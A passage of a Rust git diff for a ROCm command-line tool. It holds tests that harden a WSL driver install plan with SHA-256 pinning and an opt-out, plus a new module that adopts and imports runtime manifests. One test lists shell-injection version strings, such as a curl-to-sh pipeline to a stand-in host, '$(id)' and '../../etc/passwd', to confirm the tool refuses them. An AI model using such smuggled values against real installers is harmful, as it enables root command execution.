-")) + .expect("plan verifies the download"); + let install = commands + .iter() + .position(|c| c.contains("apt-get install -y '/tmp/")) + .expect("plan installs the package"); + assert!(check < install, "digest must be checked before install"); + } + + #[test] + fn wsl_rocdxg_refuses_a_version_whose_digest_is_unknown() { + // An unpinned version is the case where silently falling back to "no + // verification" would be most dangerous, because it is reachable from + // a single environment variable. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty(), "a refusal must run nothing"); + assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); + assert!( + plan.reason.contains(ROCDXG_ALLOW_UNVERIFIED_ENV), + "{}", + plan.reason + ); + } + + #[test] + fn wsl_rocdxg_accepts_a_supplied_digest_for_an_unpinned_version() { + // The escape hatch for a release newer than this build: supply the + // digest rather than disabling verification. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + let supplied = "a".repeat(64); + env.set(ROCDXG_SHA256_ENV, &supplied); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(plan.supported); + let joined = plan.execution_commands().join("\n"); + assert!(joined.contains(&supplied), "{joined}"); + assert!(joined.contains("sha256sum -c -"), "{joined}"); + } + + #[test] + fn wsl_rocdxg_rejects_a_malformed_supplied_digest() { + // A truncated or mistyped digest must not silently fall back to the + // pinned one, which would verify a different artifact than the user + // asked for and report success. + let mut env = scoped_rocdxg_env(); + env.set(ROCDXG_SHA256_ENV, "not-a-digest"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported); + assert!(plan.commands.is_empty()); + assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); + } + + #[test] + fn wsl_rocdxg_unverified_install_takes_an_explicit_opt_out() { + // Installing unverified stays possible — it just has to be asked for, + // and the plan the user approves has to say so. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(plan.supported); + let joined = plan.execution_commands().join("\n"); + assert!(!joined.contains("sha256sum -c -"), "{joined}"); + assert!(joined.contains("without verifying it"), "{joined}"); + } + + #[test] + fn wsl_rocdxg_opt_out_reads_negative_values_as_off() { + // The opt-out is a boolean, not a presence check. Reading "set to + // anything" as yes would turn digest verification off for a package + // installed as root on the strength of `=0` — the one value a reader + // writes when they mean the opposite. + for negative in ["0", "false", "no", "off", ""] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, negative); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!( + !plan.supported, + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} disabled verification" + ); + assert!( + plan.commands.is_empty(), + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} built an unverified install" + ); + } + + // The affirmative spellings still work, so this is a narrowing of what + // counts as yes rather than a removal of the escape hatch. + for affirmative in ["1", "true", "yes", "on"] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, affirmative); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!( + plan.supported, + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={affirmative:?} was not honoured" + ); + } + } + + #[test] + fn wsl_rocdxg_refuses_a_version_that_could_escape_the_shell() { + // `ROCM_CLI_ROCDXG_VERSION` is interpolated into commands executed via + // `sh -c` after `apt-get update` has primed the sudo credential cache, + // so a `;` in it would start a second, attacker-chosen command running + // as root. The plan must refuse rather than quote its way out. + for hostile in [ + "1.2.0; curl http://example.invalid/x | sh", + "1.2.0 && id", + "$(id)", + "1.2.0`id`", + "../../etc/passwd", + "1.2.0\nid", + "1.2.0 ", + ] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", hostile); + // An opt-out must not buy past the version check either. + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported, "accepted hostile version {hostile:?}"); + assert!( + plan.commands.is_empty(), + "built commands from hostile version {hostile:?}" + ); + // The refused value is echoed back in the plan a human reads, so it + // must not be able to forge lines there. Every line the renderer + // emits after the header is indented, so an unindented one came + // from the value. + let rendered = render_driver_install_plan(&plan, false, false); + for line in rendered.lines().skip(1) { + assert!( + line.starts_with(" "), + "hostile version {hostile:?} forged plan line {line:?} in:\n{rendered}" + ); + } + } + } + + #[test] + fn wsl_rocdxg_plan_drops_sudo_when_already_root() { + // Same reason the bare-metal plans take an escalation: containers and + // minimal cloud images run as uid 0 with no `sudo` binary, where an + // unconditional prefix kills every command before any driver work. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::AlreadyRoot); + let joined = plan.execution_commands().join("\n"); + assert!(!joined.contains("sudo "), "{joined}"); + assert!(joined.contains("apt-get install -y '/tmp/"), "{joined}"); + // And it must not demand a binary it no longer uses. + assert!(!joined.contains("command -v sudo"), "{joined}"); + assert!( + !plan + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{:?}", + plan.preflight_checks + ); + } + + /// Runs the digest step the plan actually generates, rather than asserting + /// that it contains some substrings. + /// + /// The step this exercises is the trust anchor for a root install, and the + /// executable self-test that used to cover it was deleted along with + /// `scripts/wsl_setup_rocdxg.sh`. Substring assertions would let a quoting, + /// field-order or newline regression in the `printf | sha256sum -c -` + /// fragment ship green, so the generated command is pinned whole with + /// `assert_eq!` and then executed — with only the two values it embeds + /// redirected at a test payload, so the quoting, spacing and field order + /// under test are production's rather than a replica's. + /// + /// Field order in particular is invisible to a `starts_with`/`ends_with` + /// pair: `sha256sum -c -` reads `DIGEST FILENAME`, so emitting the path + /// first breaks every real WSL install while still starting with + /// `printf '%s %s\n' '` and ending with `' | sha256sum -c -`. + #[cfg(unix)] + #[test] + fn wsl_rocdxg_generated_digest_step_accepts_only_the_matching_file() { + use std::process::Command; + + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let version = plan.repo_version_expr.clone(); + let pinned = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(pinned_version, digest)| { + (*pinned_version == version.as_str()).then_some(*digest) + }) + .expect("the default version is pinned"); + let deb_path = format!("/tmp/rocdxg-roct_{version}_amd64.deb"); + let generated = plan + .execution_commands() + .into_iter() + .find(|c| c.contains("sha256sum -c -")) + .expect("plan verifies the download"); + + // Whole-string, not `contains`: the digest has to come first and the + // two fields have to be separated by exactly the two spaces + // `sha256sum -c -` expects. + assert_eq!( + generated, + format!("printf '%s %s\\n' '{pinned}' '{deb_path}' | sha256sum -c -") + ); + + let (root, _paths) = test_paths("wsl-rocdxg-digest"); + fs::create_dir_all(&root).expect("test root"); + let payload = root.join(format!("rocdxg-roct_{version}_amd64.deb")); + fs::write(&payload, b"pretend this is a .deb\n").expect("write payload"); + + let digest_of = |path: &Path| -> String { + let out = Command::new("sha256sum") + .arg(path) + .output() + .expect("sha256sum runs"); + assert!(out.status.success()); + String::from_utf8(out.stdout) + .expect("utf8") + .split_whitespace() + .next() + .expect("digest field") + .to_owned() + }; + let good = digest_of(&payload); + + // The command under test is the generated one; the only edits are the + // digest being checked and the path being checked, so a regression in + // how the fragment is built reaches `sh` here instead of being masked + // by a replica built to the test's own idea of the right shape. + let step = |digest: &str| -> bool { + let command = generated + .replace(pinned, digest) + .replace(&deb_path, &payload.display().to_string()); + Command::new("sh") + .arg("-c") + .arg(&command) + .output() + .expect("sh runs") + .status + .success() + }; + + assert!(step(&good), "the matching digest must pass"); + assert!( + !step(&"0".repeat(64)), + "a mismatched digest must fail the step" + ); + assert!(!step("deadbeef"), "a malformed digest must fail the step"); + assert!(!step(""), "an empty digest must fail the step"); + + let _ = fs::remove_dir_all(&root); + } + + #[test] + fn wsl_rocdxg_version_is_overridable_and_reaches_every_reference() { + // One resolved value drives the archive name, the release tag and the + // download path, so an override cannot leave a URL pointing at the + // default. The value is resolved at plan-build time rather than left as + // a `${VAR:-default}` template, so the plan the user reviews names the + // build the install will actually fetch. + let mut env = scoped_rocdxg_env(); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert_eq!(plan.repo_version_expr, "1.2.2"); + let commands = plan.execution_commands().join("\n"); + // The version is resolved here, not deferred to the shell: the plan the + // user approves has to name the build the install will actually fetch. + // No `${...}` expansion survives into the commands at all — the digest + // is resolved at plan-build time too, which + // `wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default` + // asserts by name. + assert!( + !commands.contains("ROCM_CLI_ROCDXG_VERSION"), + "version must be resolved at plan-build time, not left as a shell template:\n{commands}" + ); + let occurrences = commands.matches("1.2.2").count(); + assert!( + occurrences >= 3, + "version should drive the deb name, the tag and the path; saw {occurrences}" + ); + + // An override has to reach every one of those references, including the + // release URL — the bug this guards is a URL left on the default. The + // digest comes along because an unpinned version is refused outright; + // see `wsl_rocdxg_refuses_a_version_whose_digest_is_unknown`. + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_SHA256_ENV, &"b".repeat(64)); + let overridden = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert_eq!(overridden.repo_version_expr, "9.9.9"); + let commands = overridden.execution_commands().join("\n"); + assert!( + commands.contains("rocdxg-roct_9.9.9_amd64.deb"), + "{commands}" + ); + assert!( + commands.contains( + "https://github.com/ROCm/librocdxg/releases/download/v9.9.9/rocdxg-roct_9.9.9_amd64.deb" + ), + "{commands}" + ); + assert!( + !commands.contains("1.2.2"), + "override left a reference on the default version:\n{commands}" + ); + } +} diff --git a/apps/rocm/src/freeform_planner.rs b/apps/rocm/src/freeform_planner.rs index 9891d36b1e..6c344b9a83 100644 --- a/apps/rocm/src/freeform_planner.rs +++ b/apps/rocm/src/freeform_planner.rs @@ -252,7 +252,7 @@ pub(crate) fn host_default_engine(paths: Option<&AppPaths>) -> &'static str { } /// The plan for a driver request. `only_reports` is the same platform decision -/// `rocm install driver` makes (see `driver_install::install_driver_only_reports_on`): +/// `rocm install driver` makes (see `driver_plan::install_driver_only_reports_on`): /// where it holds the command changes nothing, so the plan is read-only, carries /// no `--yes` and does not call the change privileged or disruptive. pub(crate) fn plan_driver_request( diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index 13ab1ceac3..b153d74d4b 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -27,6 +27,7 @@ mod dash_seam; mod deletion_properties; mod diagnose_cmd; mod driver_install; +mod driver_plan; mod endpoint_keys; mod engine_ipc; mod engine_runtime_select; @@ -44,9 +45,11 @@ mod model_fit; mod provider_keys; mod providers; mod remote; +mod runtime_adopt; mod runtime_install_finalize; mod runtime_registry; mod runtime_services; +mod runtime_uninstall; mod runtimes_cmd; mod serve_cmd; mod serve_summary; @@ -57,6 +60,7 @@ mod services_cmd; mod services_text; mod setup_cmd; mod storage; +mod system_packages; #[cfg(test)] mod test_support; mod therock; diff --git a/apps/rocm/src/runtime_adopt.rs b/apps/rocm/src/runtime_adopt.rs new file mode 100644 index 0000000000..549753818a --- /dev/null +++ b/apps/rocm/src/runtime_adopt.rs @@ -0,0 +1,822 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! Registering a runtime that was not installed by `rocm install sdk`: +//! importing a manifest written elsewhere, adopting an existing Python +//! environment by probing it, and recovering the registration of the runtime +//! `rocm setup` created. +//! +//! Relocated from `runtimes_cmd.rs` with no behavior change. `runtimes_cmd.rs` +//! calls into this module for `rocm runtimes import` and `rocm runtimes adopt`, +//! and re-exports `newest_installed_runtime_manifest`, +//! `recover_setup_runtime_registration` and `setup_runtime_paths` for the +//! modules that import them from there. The path comparison both adopt and +//! uninstall need lives in `runtime_registry.rs`, so this module does not +//! depend on `runtimes_cmd.rs`. + +use std::fs; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result, bail}; +use rocm_core::{AppPaths, RocmCliConfig, managed_pip_cache_dir, runtime_python_executable_in_env}; + +use crate::runtime_registry::{ + paths_equivalent, runtime_manifest_path, runtime_registry_dir, + validate_runtime_manifest_for_activation, +}; +use crate::therock; + +pub(crate) fn import_runtime_manifest( + paths: &AppPaths, + manifest_path: &Path, + replace: bool, +) -> Result { + let bytes = fs::read(manifest_path) + .with_context(|| format!("failed to read {}", manifest_path.display()))?; + let mut manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", manifest_path.display()))?; + if manifest.runtime_key.trim().is_empty() { + bail!( + "runtime manifest {} has an empty runtime_key", + manifest_path.display() + ); + } + if manifest.runtime_id.trim().is_empty() { + bail!( + "runtime manifest {} has an empty runtime_id", + manifest_path.display() + ); + } + + manifest.read_only = true; + manifest.imported_from = Some( + manifest_path + .canonicalize() + .unwrap_or_else(|_| manifest_path.to_path_buf()), + ); + validate_runtime_manifest_for_activation(&manifest) + .with_context(|| format!("imported runtime `{}` is not usable", manifest.runtime_key))?; + + write_runtime_registry_manifest(paths, &manifest, replace)?; + + Ok(manifest) +} + +pub(crate) fn newest_installed_runtime_manifest( + paths: &AppPaths, +) -> Result> { + // `load_runtime_manifests` already returns newest install first with ties + // broken on the runtime key, so re-sorting here would be a no-op. + Ok(therock::load_runtime_manifests(paths)?.into_iter().next()) +} + +#[derive(Debug, Clone)] +pub(crate) struct AdoptRuntimeRequest { + pub(crate) python_executable: PathBuf, + pub(crate) install_root: PathBuf, + pub(crate) runtime_id: String, + pub(crate) runtime_key: String, + pub(crate) replace: bool, +} + +#[derive(Debug, Clone)] +pub(crate) struct AdoptRuntimeOptions { + pub(crate) python_input: PathBuf, + pub(crate) install_root: Option, + pub(crate) runtime_id: Option, + pub(crate) runtime_key: Option, + pub(crate) channel: Option, + pub(crate) replace: bool, +} + +pub(crate) fn adopt_runtime_from_python_options( + paths: &AppPaths, + options: AdoptRuntimeOptions, +) -> Result { + let (python_executable, inferred_root) = resolve_adopt_python_input(&options.python_input)?; + let probe = therock::probe_rocm_sdk_runtime(&python_executable) + .with_context(|| format!("failed to probe {}", python_executable.display()))?; + let request = infer_adopt_runtime_request( + python_executable, + options.install_root.or(inferred_root), + options.runtime_id, + options.runtime_key, + options.channel, + options.replace, + &probe, + )?; + adopt_runtime_from_probe(paths, request, probe) +} + +fn infer_adopt_runtime_request( + python_executable: PathBuf, + install_root: Option, + runtime_id: Option, + runtime_key: Option, + channel: Option, + replace: bool, + probe: &therock::RocmSdkPythonProbe, +) -> Result { + let install_root = install_root.with_context(|| { + format!( + "could not infer the Python environment folder from {}; pass --root", + python_executable.display() + ) + })?; + let runtime_id = match runtime_id { + Some(value) if !value.trim().is_empty() => { + if let Some(channel) = channel.as_deref() { + let (parsed_channel, _) = parse_therock_runtime_id(&value)?; + let requested_channel = normalize_adopt_channel(channel)?; + if parsed_channel != requested_channel { + bail!( + "--channel {requested_channel} does not match runtime id channel {parsed_channel}" + ); + } + } + value + } + Some(_) => bail!("runtime_id must not be empty"), + None => { + let channel = normalize_adopt_channel(channel.as_deref().unwrap_or("release"))?; + let family = probe + .resolved_target_family + .as_deref() + .or(probe.default_target_family.as_deref()) + .filter(|value| !value.trim().is_empty()) + .context( + "rocm_sdk probe did not report a GPU package; pass --runtime-id explicitly", + )?; + format!("therock-{channel}:{family}") + } + }; + let runtime_key = match runtime_key { + Some(value) if !value.trim().is_empty() => value, + Some(_) => bail!("runtime_key must not be empty"), + None => { + let (channel, family) = parse_therock_runtime_id(&runtime_id)?; + let version = probe + .rocm_sdk_version + .as_deref() + .filter(|value| !value.trim().is_empty()) + .context("rocm_sdk probe did not report a version; cannot name adopted runtime")?; + format!( + "adopted-{channel}-pip-{}-{}", + runtime_key_component(&family), + runtime_key_component(version) + ) + } + }; + Ok(AdoptRuntimeRequest { + python_executable, + install_root, + runtime_id, + runtime_key, + replace, + }) +} + +fn normalize_adopt_channel(channel: &str) -> Result { + match channel.trim().to_ascii_lowercase().as_str() { + "release" => Ok("release".to_owned()), + "nightly" => Ok("nightly".to_owned()), + other => bail!("adopt channel must be release or nightly, got `{other}`"), + } +} + +fn runtime_key_component(value: &str) -> String { + let mut output = String::new(); + let mut last_dash = false; + for ch in value.chars() { + if ch.is_ascii_alphanumeric() { + output.push(ch.to_ascii_lowercase()); + last_dash = false; + } else if !last_dash { + output.push('-'); + last_dash = true; + } + } + let trimmed = output.trim_matches('-').to_owned(); + if trimmed.is_empty() { + "runtime".to_owned() + } else { + trimmed + } +} + +fn resolve_adopt_python_input(input: &Path) -> Result<(PathBuf, Option)> { + let absolute = if input.is_absolute() { + input.to_path_buf() + } else { + std::env::current_dir() + .context("failed to resolve current directory")? + .join(input) + }; + if absolute.is_dir() { + let env_root = absolute.canonicalize().with_context(|| { + format!( + "failed to resolve Python environment folder {}", + absolute.display() + ) + })?; + let python = runtime_python_executable_in_env(&env_root); + if !python.is_file() { + bail!( + "Python executable is missing in {}", + python.parent().unwrap_or(env_root.as_path()).display() + ); + } + return Ok((python, Some(env_root))); + } + if absolute.is_file() { + let inferred_root = infer_python_env_root(&absolute); + return Ok((absolute, inferred_root)); + } + bail!( + "Python executable or folder is missing: {}", + absolute.display() + ); +} + +fn infer_python_env_root(python_executable: &Path) -> Option { + let bin_dir = python_executable.parent()?; + let bin_name = bin_dir.file_name()?.to_string_lossy(); + if bin_name.eq_ignore_ascii_case("Scripts") || bin_name == "bin" { + return bin_dir.parent().map(Path::to_path_buf); + } + bin_dir.parent().map(Path::to_path_buf) +} + +pub(crate) fn adopt_runtime_from_probe( + paths: &AppPaths, + request: AdoptRuntimeRequest, + probe: therock::RocmSdkPythonProbe, +) -> Result { + if request.runtime_key.trim().is_empty() { + bail!("runtime_key must not be empty"); + } + if request.runtime_id.trim().is_empty() { + bail!("runtime_id must not be empty"); + } + let python_executable = absolute_existing_file_path_preserving_symlink( + &request.python_executable, + "runtime Python executable", + )?; + let install_root = request.install_root.canonicalize().with_context(|| { + format!( + "runtime install root is missing: {}", + request.install_root.display() + ) + })?; + if !install_root.is_dir() { + bail!( + "runtime install root is missing: {}", + install_root.display() + ); + } + let (channel, family) = parse_therock_runtime_id(&request.runtime_id)?; + therock::validate_rocm_sdk_runtime_probe(&probe)?; + let version = probe + .rocm_sdk_version + .as_deref() + .filter(|value| !value.trim().is_empty()) + .context("rocm_sdk probe did not report a version; cannot adopt runtime explicitly")? + .to_owned(); + + let manifest = therock::InstalledRuntimeManifest { + runtime_key: request.runtime_key, + runtime_id: request.runtime_id, + channel, + format: "wheel".to_owned(), + family, + family_source: "runtime_id".to_owned(), + version, + install_root: install_root.clone(), + selected_artifact_url: "adopted-read-only".to_owned(), + source_layout_generation: None, + index_url: None, + tarball_file_name: None, + python_launcher: None, + python_executable: Some(python_executable.display().to_string()), + pip_cache_dir: None, + // The probe only reports a CMake path when the `devel` packages are + // present, so it tells us what this pre-existing environment has. + devel: probe.cmake_path.is_some(), + rocm_sdk: Some(probe), + // Adoption does not install torch, so the build is derived from the SDK + // version instead. + sdk_torch: None, + wheel_composition: None, + read_only: true, + imported_from: Some(install_root), + installed_at_unix_ms: rocm_core::unix_time_millis(), + }; + validate_runtime_manifest_for_activation(&manifest) + .with_context(|| format!("adopted runtime `{}` is not usable", manifest.runtime_key))?; + write_runtime_registry_manifest(paths, &manifest, request.replace)?; + Ok(manifest) +} + +fn absolute_existing_file_path_preserving_symlink(path: &Path, label: &str) -> Result { + let absolute = if path.is_absolute() { + path.to_path_buf() + } else { + std::env::current_dir() + .context("failed to resolve current directory")? + .join(path) + }; + if !absolute.is_file() { + bail!("{label} is missing: {}", absolute.display()); + } + Ok(absolute) +} + +fn parse_therock_runtime_id(runtime_id: &str) -> Result<(String, String)> { + let (prefix, family) = runtime_id.split_once(':').with_context(|| { + format!("runtime_id `{runtime_id}` must include a TheRock family suffix after ':'") + })?; + let family = family.trim(); + if family.is_empty() { + bail!("runtime_id `{runtime_id}` has an empty TheRock family suffix"); + } + let channel = match prefix.trim() { + "therock-release" => "release", + "therock-nightly" => "nightly", + other => bail!( + "runtime_id `{runtime_id}` must start with therock-release: or therock-nightly:, got `{other}`" + ), + }; + Ok((channel.to_owned(), family.to_owned())) +} + +fn write_runtime_registry_manifest( + paths: &AppPaths, + manifest: &therock::InstalledRuntimeManifest, + replace: bool, +) -> Result<()> { + let manifest = manifest.clone().normalize_storage_paths(); + let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); + if registry_path.exists() && !replace { + bail!( + "runtime registry entry already exists: {}; pass --replace to overwrite it", + registry_path.display() + ); + } + fs::create_dir_all( + registry_path + .parent() + .context("runtime registry path has no parent directory")?, + )?; + fs::write( + ®istry_path, + serde_json::to_vec_pretty(&manifest) + .context("failed to serialize runtime registry manifest")?, + ) + .with_context(|| format!("failed to write {}", registry_path.display()))?; + Ok(()) +} + +pub(crate) fn recover_setup_runtime_registration( + paths: &AppPaths, + config: &RocmCliConfig, +) -> Result> { + let Some(setup_root) = config + .setup + .therock_venv + .as_deref() + .filter(|path| !path.as_os_str().is_empty()) + else { + return Ok(None); + }; + if !setup_root.is_dir() { + return Ok(None); + } + + let local_manifest_path = setup_root.join(".rocm-cli-runtime.json"); + if !local_manifest_path.is_file() { + return Ok(None); + } + + let bytes = fs::read(&local_manifest_path) + .with_context(|| format!("failed to read {}", local_manifest_path.display()))?; + let manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", local_manifest_path.display()))?; + if manifest.runtime_key.trim().is_empty() { + bail!( + "setup runtime manifest {} has an empty runtime_key", + local_manifest_path.display() + ); + } + if !paths_equivalent(&manifest.install_root, setup_root) { + bail!( + "setup runtime manifest {} points at {}, but setup is configured for {}", + local_manifest_path.display(), + manifest.install_root.display(), + setup_root.display() + ); + } + validate_runtime_manifest_for_activation(&manifest).with_context(|| { + format!( + "setup runtime `{}` from {} is not usable", + manifest.runtime_key, + local_manifest_path.display() + ) + })?; + + if !runtime_manifest_path(paths, &manifest.runtime_key).is_file() { + write_runtime_registry_manifest(paths, &manifest, false).with_context(|| { + format!( + "failed to restore setup runtime `{}` into {}", + manifest.runtime_key, + runtime_registry_dir(paths).display() + ) + })?; + } + Ok(Some(manifest.runtime_key)) +} + +/// The folder setup was configured for and its pip cache — the pair both +/// `examine` forms report. Shared so the two cannot name different folders. +/// +/// An empty configured path counts as unset, matching +/// `recover_setup_runtime_registration`'s own guard: `config.json` is +/// hand-editable, and `managed_pip_cache_dir("")` is a bogus relative path. +pub(crate) fn setup_runtime_paths(config: &RocmCliConfig) -> Option<(&Path, PathBuf)> { + let root = config + .setup + .therock_venv + .as_deref() + .filter(|path| !path.as_os_str().is_empty())?; + Some((root, managed_pip_cache_dir(root))) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::test_support::write_test_pip_runtime; + use crate::tests::test_paths; + + #[test] + fn runtime_import_refuses_to_overwrite_without_replace() -> Result<()> { + let (root, paths) = test_paths("runtime-import-replace"); + let manifest = write_test_pip_runtime( + &paths, + "external-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let exported_manifest = root.join("external-runtime.json"); + fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; + + let error = import_runtime_manifest(&paths, &exported_manifest, false) + .unwrap_err() + .to_string(); + + assert!(error.contains("already exists")); + import_runtime_manifest(&paths, &exported_manifest, true)?; + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + /// The other half of the same derivation: an adopted environment that does + /// expose a CMake path has the toolchain, and the manifest must say so or + /// the next `rocm update` would quietly reinstall without it. + #[test] + fn runtime_adopt_records_devel_when_the_probe_finds_cmake() -> Result<()> { + let (root, paths) = test_paths("runtime-adopt-devel"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + let sdk_root = external_root + .join("Lib") + .join("site-packages") + .join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + let cmake_path = sdk_root.join("lib").join("cmake"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + fs::create_dir_all(&cmake_path)?; + let amdhip = sdk_bin.join(if cfg!(windows) { + "amdhip64_7.dll" + } else { + "libamdhip64.so" + }); + let hipblas = sdk_bin.join(if cfg!(windows) { + "hipblas.dll" + } else { + "libhipblas.so" + }); + fs::write(&python_executable, "python")?; + fs::write(&amdhip, "amdhip")?; + fs::write(&hipblas, "hipblas")?; + + let adopted = adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable, + install_root: external_root, + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: false, + }, + therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root.clone()), + bin_path: Some(sdk_bin.clone()), + cmake_path: Some(cmake_path), + runtime_roots: vec![sdk_root], + bin_paths: vec![sdk_bin.clone()], + library_paths: vec![sdk_bin], + resolved_libraries: vec![ + therock::RocmSdkLibraryProbe { + shortname: "amdhip64".to_owned(), + paths: vec![amdhip], + }, + therock::RocmSdkLibraryProbe { + shortname: "hipblas".to_owned(), + paths: vec![hipblas], + }, + ], + resolved_target_family: Some("gfx120X-all".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert!( + adopted.devel, + "a probe reporting a CMake path must record the toolchain" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_request_infers_ids_from_probe() -> Result<()> { + let (root, _) = test_paths("runtime-adopt-infer"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + fs::create_dir_all(&scripts_dir)?; + fs::write(&python_executable, "python")?; + + let request = infer_adopt_runtime_request( + python_executable.clone(), + Some(external_root.clone()), + None, + None, + None, + false, + &therock::RocmSdkPythonProbe { + rocm_sdk_version: Some("7.13.0a20260423".to_owned()), + resolved_target_family: Some("gfx120X-all".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert_eq!(request.python_executable, python_executable); + assert_eq!(request.install_root, external_root); + assert_eq!(request.runtime_id, "therock-release:gfx120X-all"); + assert_eq!( + request.runtime_key, + "adopted-release-pip-gfx120x-all-7-13-0a20260423" + ); + assert!(!request.replace); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_request_honors_nightly_channel() -> Result<()> { + let (root, _) = test_paths("runtime-adopt-infer-nightly"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + fs::create_dir_all(&scripts_dir)?; + fs::write(&python_executable, "python")?; + + let request = infer_adopt_runtime_request( + python_executable, + Some(external_root), + None, + None, + Some("nightly".to_owned()), + true, + &therock::RocmSdkPythonProbe { + rocm_sdk_version: Some("7.14.0a20260531".to_owned()), + default_target_family: Some("gfx1151".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert_eq!(request.runtime_id, "therock-nightly:gfx1151"); + assert_eq!( + request.runtime_key, + "adopted-nightly-pip-gfx1151-7-14-0a20260531" + ); + assert!(request.replace); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[cfg(unix)] + #[test] + fn runtime_adopt_preserves_venv_python_symlink_path() -> Result<()> { + use std::os::unix::fs::symlink; + + let (root, paths) = test_paths("runtime-adopt-python-symlink"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join("bin"); + let system_python = root.join("python3.12"); + let python_executable = scripts_dir.join("python"); + let sdk_root = external_root.join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + let amdhip = sdk_bin.join("libamdhip64.so"); + let hipblas = sdk_bin.join("libhipblas.so"); + fs::write(&system_python, "python")?; + fs::write(&amdhip, "amdhip")?; + fs::write(&hipblas, "hipblas")?; + symlink(&system_python, &python_executable)?; + + let adopted = adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable: python_executable.clone(), + install_root: external_root, + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-symlink-python".to_owned(), + replace: false, + }, + therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root.clone()), + bin_path: Some(sdk_bin.clone()), + runtime_roots: vec![sdk_root], + bin_paths: vec![sdk_bin.clone()], + library_paths: vec![sdk_bin], + resolved_libraries: vec![ + therock::RocmSdkLibraryProbe { + shortname: "amdhip64".to_owned(), + paths: vec![amdhip], + }, + therock::RocmSdkLibraryProbe { + shortname: "hipblas".to_owned(), + paths: vec![hipblas], + }, + ], + resolved_target_family: 